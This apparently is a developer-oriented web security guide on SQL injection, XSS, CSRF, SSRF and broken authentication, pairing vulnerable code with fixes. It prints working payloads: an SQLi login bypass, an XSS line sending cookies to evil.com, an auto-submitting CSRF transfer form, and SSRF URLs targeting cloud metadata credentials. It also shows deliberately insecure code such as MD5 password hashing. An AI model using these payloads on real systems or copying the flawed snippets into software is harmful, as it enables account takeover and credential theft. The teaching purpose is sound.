Common Security Vulnerabilities Every Developer Should Know

Let me be honest with you: most of the major breaches you read about in the news didn’t happen because attackers had some secret magic trick. They happened because a developer somewhere made a coding mistake that’s been documented since the early 2000s.

I’ve been doing application security and penetration testing for over fifteen years. I’ve tested banks, healthcare platforms, SaaS startups, and government systems. And time and time again, I keep seeing the same handful of vulnerabilities show up in codebases written by otherwise smart, capable developers. SQL Injection in a hospital records system. XSS in a fintech dashboard. CSRF on a payment form. These aren’t exotic zero-days — they’re beginner mistakes baked into production systems handling real people’s data.

The numbers tell a brutal story. According to IBM’s Cost of a Data Breach Report, the average data breach now costs organizations $4.45 million — and that figure doesn’t include reputational damage, customer churn, or the regulatory fines that can pile on top. Meanwhile, the Ponemon Institute found that over 60% of breaches involved some form of application-layer vulnerability. The attack surface isn’t your firewall — it’s your code.

The good news? The majority of these attacks are entirely preventable if you know what to look for. That’s exactly what this guide is about. We’re going to walk through the most critical security vulnerabilities every developer should have tattooed on the inside of their eyelids — pulled straight from the OWASP Top 10, the industry’s most trusted vulnerability reference — along with real attack examples and the secure code patterns that stop them cold.

Whether you’re building your first web app or you’re a senior engineer who hasn’t thought about security since that one college course, this is for you.

Understanding security vulnerabilities is the first step toward building secure applications.

SQL Injection (SQLi)

What Is SQL Injection?

SQL Injection has been on the OWASP Top 10 list practically since the list existed. It’s one of the oldest, most well-documented vulnerabilities in existence — and yet OWASP consistently ranks Injection attacks in its top three. That should tell you something.

At its core, SQLi happens when user-supplied data is included in a SQL query without proper sanitization. The application treats attacker-controlled input as SQL code rather than data. The result? An attacker can reshape the query entirely — bypassing login, reading any table in the database, or in some configurations, executing commands on the underlying operating system.

How SQL Injection Works

Here’s a classic PHP login form that most of us have written at some point during our learning journey:

$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);

Looks innocent enough, right? Now imagine an attacker types this into the username field:

' OR '1'='1' --

The query that actually gets sent to the database becomes:

SELECT * FROM users WHERE username='' OR '1'='1' --' AND password='anything'

The -- comments out the password check entirely. '1'='1' is always true. The attacker is now logged in as the first user in the database — which is usually the administrator account.

The Attack Flow, Step by Step

Beyond authentication bypass, a skilled attacker with SQLi can dump entire user tables (including password hashes), read files from the filesystem, write malicious files to the server, and in some MySQL/MSSQL configurations, execute shell commands. This is a complete system compromise through a web form.

Example of how SQL Injection manipulates backend database queries — a single apostrophe can unravel an entire authentication system.

The Fix: Prepared Statements and Parameterized Queries

The solution is non-negotiable: never concatenate user input into SQL strings. Use prepared statements, where the query structure is compiled separately from the data. The database engine physically cannot interpret the data as SQL commands.

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
$user = $stmt->fetch();

const [rows] = await db.execute(
  'SELECT * FROM users WHERE username = ? AND password = ?',
  [username, password]
);

# ORM handles parameterization automatically
user = session.query(User).filter_by(username=username).first()

Cross-Site Scripting (XSS)

What Is XSS?

Cross-Site Scripting allows an attacker to inject malicious JavaScript into pages that other users view. Unlike SQLi — which targets the server — XSS targets the browser. When a victim’s browser executes the injected script, the attacker essentially has the same privileges as the website itself: they can read cookies, capture keystrokes, redirect users, or silently submit forms.

XSS comes in three main flavors:

Stored XSS — The malicious script is saved to the database (e.g., in a comment or profile field) and served to every user who views it. Dangerous because it’s persistent and can affect thousands of users.

Reflected XSS — The payload is embedded in a URL parameter and reflected back in the response. The attacker tricks victims into clicking a crafted link. Common in search forms and error pages.

DOM-based XSS — The vulnerability exists entirely in client-side JavaScript. The page reads a value from the URL or user input and writes it to the DOM without sanitization. No server involvement required.

Vulnerable Example

Here’s a classic search results page in PHP:

// URL: /search?name=Alice
<div>
  Welcome, <?php echo $_GET['name']; ?>
</div>

An attacker crafts this URL and sends it to victims:

/search?name=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

When the victim clicks the link, their browser renders the page, executes the script, and their session cookie is shipped off to the attacker’s server. Game over — the attacker now has an authenticated session.

Cross-Site Scripting allows attackers to execute malicious scripts inside a victim’s browser — often completely invisibly.

Real-World Consequences

Don’t underestimate XSS. In 2005, a MySpace worm called Samy used stored XSS to add over one million friend requests to a single profile in under 24 hours — purely through JavaScript executing in users’ browsers. Modern attacks are far more targeted: session cookies stolen, credentials harvested via fake login overlays, banking credentials captured via keyloggers injected silently into page content.

Secure Implementation

<div>
  Welcome, <?php echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8'); ?>
</div>

// DANGEROUS:
document.getElementById('output').innerHTML = userInput;

// SAFE: Use textContent instead
document.getElementById('output').textContent = userInput;

Beyond encoding, implement a Content Security Policy (CSP) header. CSP tells the browser which sources of scripts are legitimate. Even if an attacker injects a script tag, the browser will refuse to execute it if the source doesn’t match your policy.

Content-Security-Policy: 
  default-src 'self'; 
  script-src 'self' 'nonce-{RANDOM_NONCE}';
  object-src 'none';
  base-uri 'self';

Cross-Site Request Forgery (CSRF)

What Is CSRF?

CSRF exploits a fundamental web behavior: browsers automatically attach cookies — including session cookies — to every request made to a domain, regardless of where the request originated. An attacker tricks an authenticated user into unknowingly sending a malicious request to a server that trusts that user’s session.

Think of it like this: your browser is your hand. Your session cookie is your signature. CSRF makes your hand sign a document you never wanted to sign — while you’re busy reading the attacker’s malicious page.

Attack Scenario: Banking Transfer

Here’s a realistic attack chain:

<form id="csrf-form" action="https://yourbank.com/transfer" method="POST">
  <input type="hidden" name="amount" value="5000" />
  <input type="hidden" name="to_account" value="ATTACKER_ACCOUNT" />
</form>
<script>document.getElementById('csrf-form').submit();</script>

CSRF attacks exploit authenticated user sessions to perform unauthorized actions — entirely invisibly to the victim.

Secure Implementation

1. CSRF Tokens

A CSRF token is a random, secret value tied to the user’s session. It’s embedded in every form and validated on the server when the form is submitted. An attacker on a different origin cannot read this value (due to browser Same-Origin Policy), so they can’t include it in their forged request.

// Generate token (store in session)
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// Embed in form
echo '<input type="hidden" name="csrf_token" value="' . $_SESSION['csrf_token'] . '">';

// Validate on submission
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    http_response_code(403);
    die('CSRF validation failed');
}

2. SameSite Cookie Attribute

The SameSite cookie attribute tells the browser when to send cookies on cross-site requests — and it’s one of the most powerful CSRF mitigations available today:

• Strict — Cookie is never sent on cross-site requests. Maximum protection, but can break some legitimate cross-site flows (like OAuth redirects).
• Lax — Cookie is sent on top-level navigations (GET requests) but not on cross-site POST, PUT, or DELETE. A good balance for most applications.
• None — Cookie is always sent. Must be paired with Secure. Only use when you explicitly need cross-site cookie behavior.

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/

Server-Side Request Forgery (SSRF)

What Is SSRF?

SSRF might be less familiar than SQLi or XSS, but it’s arguably the most dangerous vulnerability in cloud-native applications today. It occurs when an attacker can control a URL that the server fetches — causing the backend to make requests to systems the attacker cannot reach directly.

Consider any feature that involves the server fetching a remote resource: URL preview generators, webhook testers, PDF-from-URL converters, image importers, PDF generators that accept URLs. All of these are potential SSRF vectors if the URL isn’t carefully restricted.

SSRF attacks can expose internal services that were never intended to be public — including cloud infrastructure metadata.

Vulnerable Example

import requests
from flask import Flask, request

app = Flask(__name__)

@app.route('/fetch-preview')
def fetch_preview():
    url = request.args.get('url')  # Completely user-controlled
    response = requests.get(url)   # Server fetches whatever the user wants
    return response.text

Attack Demonstration

An attacker using this endpoint can supply internal URLs that bypass all firewall rules, because the requests come from the server itself:

# Access the internal admin panel (not exposed externally)
/fetch-preview?url=http://localhost/admin

# Access the Kubernetes API server
/fetch-preview?url=http://10.0.0.1:8080/api/v1/secrets

# Access AWS EC2 metadata service — often contains IAM role credentials!
/fetch-preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

That last one is particularly devastating. The AWS Instance Metadata Service (IMDSv1) is accessible from within any EC2 instance and returns temporary AWS credentials for attached IAM roles — without any authentication. An SSRF vulnerability on an EC2-hosted application can hand an attacker full AWS API access.

Secure Implementation

from urllib.parse import urlparse
import ipaddress, requests

ALLOWED_SCHEMES = {'https'}
ALLOWED_DOMAINS = {'api.trusted-partner.com', 'cdn.yourapp.com'}

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ALLOWED_SCHEMES:
            return False
        hostname = parsed.hostname
        if hostname not in ALLOWED_DOMAINS:
            return False
        # Block private IP ranges
        try:
            ip = ipaddress.ip_address(hostname)
            if ip.is_private or ip.is_loopback or ip.is_link_local:
                return False
        except ValueError:
            pass  # It's a domain name, not an IP — that's fine
        return True
    except Exception:
        return False

@app.route('/fetch-preview')
def fetch_preview():
    url = request.args.get('url', '')
    if not is_safe_url(url):
        return 'Forbidden', 403
    response = requests.get(url, timeout=5)
    return response.text

Broken Authentication

What Is Broken Authentication?

Broken authentication isn’t a single vulnerability — it’s a category of weaknesses in how applications handle login, sessions, and credentials. When any of these pieces fail, attackers can impersonate users, take over accounts, or bypass access controls entirely.

Strong authentication mechanisms dramatically reduce account compromise risks — MFA alone blocks over 99% of automated account attacks.

Common Causes

In my years of penetration testing, I’ve seen broken authentication manifest in these forms most often: weak password policies with no enforcement, session IDs embedded in URLs (visible in logs), sessions that never expire, missing account lockout after failed attempts, predictable password reset tokens, and the big one — password hashing done wrong.

// Storing the password
$hashed = md5($password);  // NEVER do this
INSERT INTO users (password) VALUES ('$hashed');

// Checking the password
if ($row['password'] == md5($input)) {
    // "Authenticated"
}

MD5 is not a password hashing function — it’s a checksum algorithm. It’s blazing fast (hundreds of millions of hashes per second on a GPU), has no salt built in, and rainbow tables exist for virtually every common password. An attacker who dumps your users table will crack most of your passwords in minutes.

The Credential Stuffing Threat

Billions of username/password combinations are available for free or cheap on dark web markets, harvested from previous breaches. Credential stuffing tools like Sentry MBA automatically test these pairs against your login endpoint. If your users reuse passwords — and statistically, most of them do — your application will be compromised even if your own code is perfectly secure.

Secure Implementation

// Store password securely
$hashed = password_hash($password, PASSWORD_BCRYPT, ['cost' => 12]);

// Verify password (timing-safe comparison built in)
if (password_verify($input, $hashed)) {
    // Authenticated
}

// Check if hash needs rehashing (e.g., after cost factor increase)
if (password_needs_rehash($hashed, PASSWORD_BCRYPT, ['cost' => 12])) {
    $newHash = password_hash($input, PASSWORD_BCRYPT, ['cost' => 12]);
    // Update the stored hash
}

from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError

ph = PasswordHasher(
    time_cost=2,      # Number of iterations
    memory_cost=65536,# 64 MB memory
    parallelism=2     # Number of threads
)

# Hash the password
hash = ph.hash(password)

# Verify (raises exception on failure)
try:
    ph.verify(hash, input_password)
    # Check if rehashing needed
    if ph.check_needs_rehash(hash):
        hash = ph.hash(input_password)
except VerifyMismatchError:
    # Wrong password
    pass

// Regenerate session ID after login (prevents session fixation)
session_regenerate_id(true);

// Set secure session parameters
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);
ini_set('session.cookie_samesite', 'Lax');
ini_set('session.use_strict_mode', 1);

// Session expiry
$_SESSION['last_activity'] = time();
if (time() - $_SESSION['last_activity'] > 1800) { // 30-minute timeout
    session_destroy();
}

Security Testing and Prevention Strategy

Understanding vulnerabilities is half the battle. The other half is building processes that prevent them from shipping to production in the first place. Here’s how security-mature engineering teams do it.

Secure Development Lifecycle (SDLC)

A Secure SDLC integrates security into every phase — not as a bolt-on at the end, but as a continuous thread. Security requirements are defined alongside functional ones. Threat models are built before a line of code is written. Code reviews include security checklists. Tests cover attack scenarios, not just happy paths.

Threat Modeling

Threat modeling answers the question: “What could go wrong with this system?” The STRIDE model (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege) gives teams a structured framework to enumerate threats during design. Tools like Microsoft Threat Modeling Tool or OWASP Threat Dragon can formalize this process.

Code Reviews with a Security Lens

Standard code reviews catch logic bugs. Security-focused reviews additionally look for: raw SQL string construction, unencoded output to HTML, missing authorization checks, use of deprecated crypto functions, hardcoded credentials, and overly permissive CORS configurations. Many teams maintain a security-specific checklist that reviewers must step through.

Static Analysis (SAST)

SAST tools analyze source code without running it, flagging known-dangerous patterns. Integrate them into your CI pipeline so they run on every pull request:

• Semgrep — Fast, language-agnostic, highly customizable rules
• SonarQube — Comprehensive platform with security-specific rulesets
• Bandit — Python-specific security linter
• Brakeman — Rails-specific static analysis
• ESLint Security Plugin — JavaScript/Node.js security rules

Dependency Scanning (SCA)

Your application code might be perfectly secure while a vulnerable npm package, PyPI dependency, or Maven artifact opens the door. Software Composition Analysis (SCA) tools track your dependency tree against known CVE databases:

• Snyk — Continuous dependency monitoring, integrates with GitHub/GitLab
• Dependabot — GitHub-native automated PR creation for vulnerable deps
• OWASP Dependency-Check — Open source, supports many ecosystems

Dynamic Testing (DAST)

DAST tools test the running application — sending actual attack payloads and observing responses. They catch vulnerabilities that static analysis misses (like runtime injection points):

• OWASP ZAP — Free, actively maintained, great for CI integration
• Burp Suite — Industry-standard for manual and automated web app testing
• Nuclei — Template-based scanner with a massive community rule library

Penetration Testing

Automated tooling is valuable but not infallible. A skilled human penetration tester can chain multiple low-severity issues into a critical attack path, find business logic vulnerabilities that no scanner would catch, and provide context that raw CVE scores lack. Schedule penetration tests at least annually — or before major feature launches and regulatory audits.

Vulnerability Comparison Table

Developer Security Checklist

Use this before shipping any feature that handles user data, authentication, or external input:

Frequently Asked Questions